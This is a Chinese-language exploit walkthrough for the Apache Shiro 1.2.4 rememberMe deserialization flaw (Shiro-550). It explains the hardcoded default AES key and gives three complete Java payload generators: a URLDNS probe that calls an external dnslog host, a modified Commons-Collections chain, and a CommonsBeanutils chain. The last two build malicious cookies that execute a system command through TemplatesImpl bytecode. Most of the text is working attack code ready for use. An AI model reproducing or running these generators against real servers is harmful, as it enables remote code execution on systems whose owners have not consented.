shiro550反序列化
环境搭建
git clone https://github.com/apache/shiro.git cd shiro git checkout shiro-root-1.2.4
然后因为jsp里有用jstl标签,所以要在pom.xml中添加这一段:
<dependency> <groupId>javax.servlet.jsp.jstl</groupId> <artifactId>jstl-api</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>taglibs</groupId> <artifactId>standard</artifactId> <version>1.1.2</version> </dependency>
然后配置好tomcat就能启动了
原理
Shiro框架在开启rememberMe功能时会将用户信息序列化之后进行AES加密,然后再转成Base64存在用户的Cookie中,而解码时则将Base64转回字节流进行AES解码后进行反序列化。所以只要知道shiro框架的密钥就能构造恶意的Cookie进行反序列化,而shiro-550
存在默认的key:kPH+bIxk5D2deZiIxcaaaA==
,被存放在了org.apache.shiro.mgt.AbstractRememberMeManager
这个类中。所以可以构造恶意的Cookie进行反序列化。
POC
以URLDNS链为例,按照加密的逻辑可以写出如下的POC:
public class ShiroExp { static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } public static void setValue(String name,Object target,Object value){ try{ Field field = target.getClass().getDeclaredField(name); field.setAccessible(true); field.set(target,value); }catch (Exception ignore){} } public static byte[] encrypt(byte[] key,byte[] plainBytes) throws Exception { Key secKey = new SecretKeySpec(key, "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); int sizeInBytes = 128 / 8; byte[] iv = new byte[sizeInBytes]; SecureRandom random = SecureRandom.getInstance("SHA1PRNG"); random.nextBytes(iv); IvParameterSpec spec = new IvParameterSpec(iv); cipher.init(Cipher.ENCRYPT_MODE,secKey,spec); byte[] encrypted = cipher.doFinal(plainBytes); byte[] output = new byte[iv.length + encrypted.length];; System.arraycopy(iv, 0, output, 0, iv.length); System.arraycopy(encrypted, 0, output, iv.length, encrypted.length); return output; } public static void main(String[] args) throws Exception{ String url = "http://a.fa2zs.0tqac7.dnslog.eastjun.xyz"; URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL(null, url, handler); ht.put(u, url); setValue( "hashCode",u, -1); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(ht); byte[] serialized = bos.toByteArray(); byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); byte[] data = encrypt(key,serialized); String payload = new String(Base64.getEncoder().encode(data)); System.out.printf("rememberMe=%s%n",payload); } }
将生成的payload放在Cookie里打过去就能看到DNSLOG的记录:
利用链
CC3链
直接用CC6链打过去是打不通的,会出现一个ClassNotFoundException
,报错信息是Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;]
,原因是Shiro使用的ObjectInputStream
是ClassResolvingObjectInputStream
,继承自ObjectInputStream
,重写了resolveClass
方法:
在ClassUtils.forName
中会调用Classloader.loadClass()
对类进行加载,在tomcat环境下调用的三个Classloader
分别为ParallelWebappClassLoader
、ParallelWebappClassLoader
、AppClassLoader
,WebappClassLoader
无法加载非Java自身的数组,而CC6用到了Transformer
数组,所以会出现报错。
在CC链中使用Transformer的目的在于要可控transform
函数传入的参数,实际这个参数在LazyMap
的get
函数就可控了:
由此可以改造出一条去除Transformer数组的CC3链:
public class ShiroCC3 { public static void setValue(String name, Object target, Object value) { try { Field field = target.getClass().getDeclaredField(name); field.setAccessible(true); field.set(target, value); } catch (Exception ignore) { } } public static byte[] createEvil() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass abstractTranslet = pool.get(AbstractTranslet.class.getName()); CtClass clazz = pool.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});"; clazz.makeClassInitializer().insertBefore(cmd); clazz.setSuperclass(abstractTranslet); return clazz.toBytecode(); } public static byte[] encrypt(byte[] key, byte[] plainBytes) throws Exception { Key secKey = new SecretKeySpec(key, "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); int sizeInBytes = 128 / 8; byte[] iv = new byte[sizeInBytes]; SecureRandom random = SecureRandom.getInstance("SHA1PRNG"); random.nextBytes(iv); IvParameterSpec spec = new IvParameterSpec(iv); cipher.init(Cipher.ENCRYPT_MODE, secKey, spec); byte[] encrypted = cipher.doFinal(plainBytes); byte[] output = new byte[iv.length + encrypted.length]; ; System.arraycopy(iv, 0, output, 0, iv.length); System.arraycopy(encrypted, 0, output, iv.length, encrypted.length); return output; } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue("_bytecodes", templates, new byte[][]{createEvil()}); setValue("_name", templates, "a"); setValue("_tfactory", templates, new TransformerFactoryImpl()); InvokerTransformer it = new InvokerTransformer("getOutputProperties", new Class[]{}, new Object[]{}); Map lazymap = LazyMap.decorate(new HashMap(), it); TiedMapEntry tme = new TiedMapEntry(new HashMap(), templates); HashMap hm = new HashMap(); hm.put(tme, null); setValue("map", tme, lazymap); //payload生成 ByteArrayOutputStream bos = new ByteArrayOutputStream(); new ObjectOutputStream(bos).writeObject(hm); byte[] data = bos.toByteArray(); byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); String paylaod = new String( Base64.getEncoder().encode(encrypt(key, data)) ); System.out.println(new String(Base64.getEncoder().encode(data))); System.out.printf("rememberMe=%s%n",paylaod); } }
CB链
Shiro中有引入Commons-Beanutils
,在没有Commons-Collections
时可以用CB链,这条是去除了CC依赖的CB链,在调用PriorityQueue
的readObject
函数时触发对value的比较,然后调用BeanComparator
的compare
函数,之后会用反射调用TemplatesImpl
的getter
,最后到getoutputProperties
函数时触发命令执行。
然后为了去除CC依赖还得给BeanComparator
再传入Comparator
,因为如果不传入Comparator
就会使用Commons-Collections
包中的Comparator
:
这个替换的Comparator
得实现Serialiable
接口和Comparator
接口,然后还不能是Commons-Collections
包中的,所以就用了CaseInsensitiveComparator
类,这个类是java.lang.String
包中的一个私有类,用String.CASE_INSENSITIVE_ORDER
就能获取。
所以最后得到的利用链如下:
public class CBShiro { public static void setValue(String name, Object target, Object value) { try { Field field = target.getClass().getDeclaredField(name); field.setAccessible(true); field.set(target, value); } catch (Exception ignore) { } } public static Object getValue(String name, Object target) { try { Field field = target.getClass().getDeclaredField(name); field.setAccessible(true); return field.get(target); } catch (Exception ignore) { return null; } } public static byte[] createEvil() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass abstractTranslet = pool.get(AbstractTranslet.class.getName()); CtClass clazz = pool.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});"; clazz.makeClassInitializer().insertBefore(cmd); clazz.setSuperclass(abstractTranslet); return clazz.toBytecode(); } public static byte[] encrypt(byte[] key,byte[] plainBytes) throws Exception { Key secKey = new SecretKeySpec(key, "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); int sizeInBytes = 128 / 8; byte[] iv = new byte[sizeInBytes]; SecureRandom random = SecureRandom.getInstance("SHA1PRNG"); random.nextBytes(iv); IvParameterSpec spec = new IvParameterSpec(iv); cipher.init(Cipher.ENCRYPT_MODE,secKey,spec); byte[] encrypted = cipher.doFinal(plainBytes); byte[] output = new byte[iv.length + encrypted.length];; System.arraycopy(iv, 0, output, 0, iv.length); System.arraycopy(encrypted, 0, output, iv.length, encrypted.length); return output; } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue("_bytecodes", templates, new byte[][]{createEvil()}); setValue("_name", templates, "a"); setValue("_tfactory", templates, new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("1"); setValue("property", comparator, "outputProperties"); setValue("queue",queue,new Object[]{templates,templates}); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject(queue); byte[] serialized = bos.toByteArray(); byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); byte[] data = encrypt(key,serialized); String payload = new String( Base64.getEncoder().encode(data) ); System.out.print(new String(Base64.getEncoder().encode(data))); System.out.printf("rememberMe=%s%n",payload); } }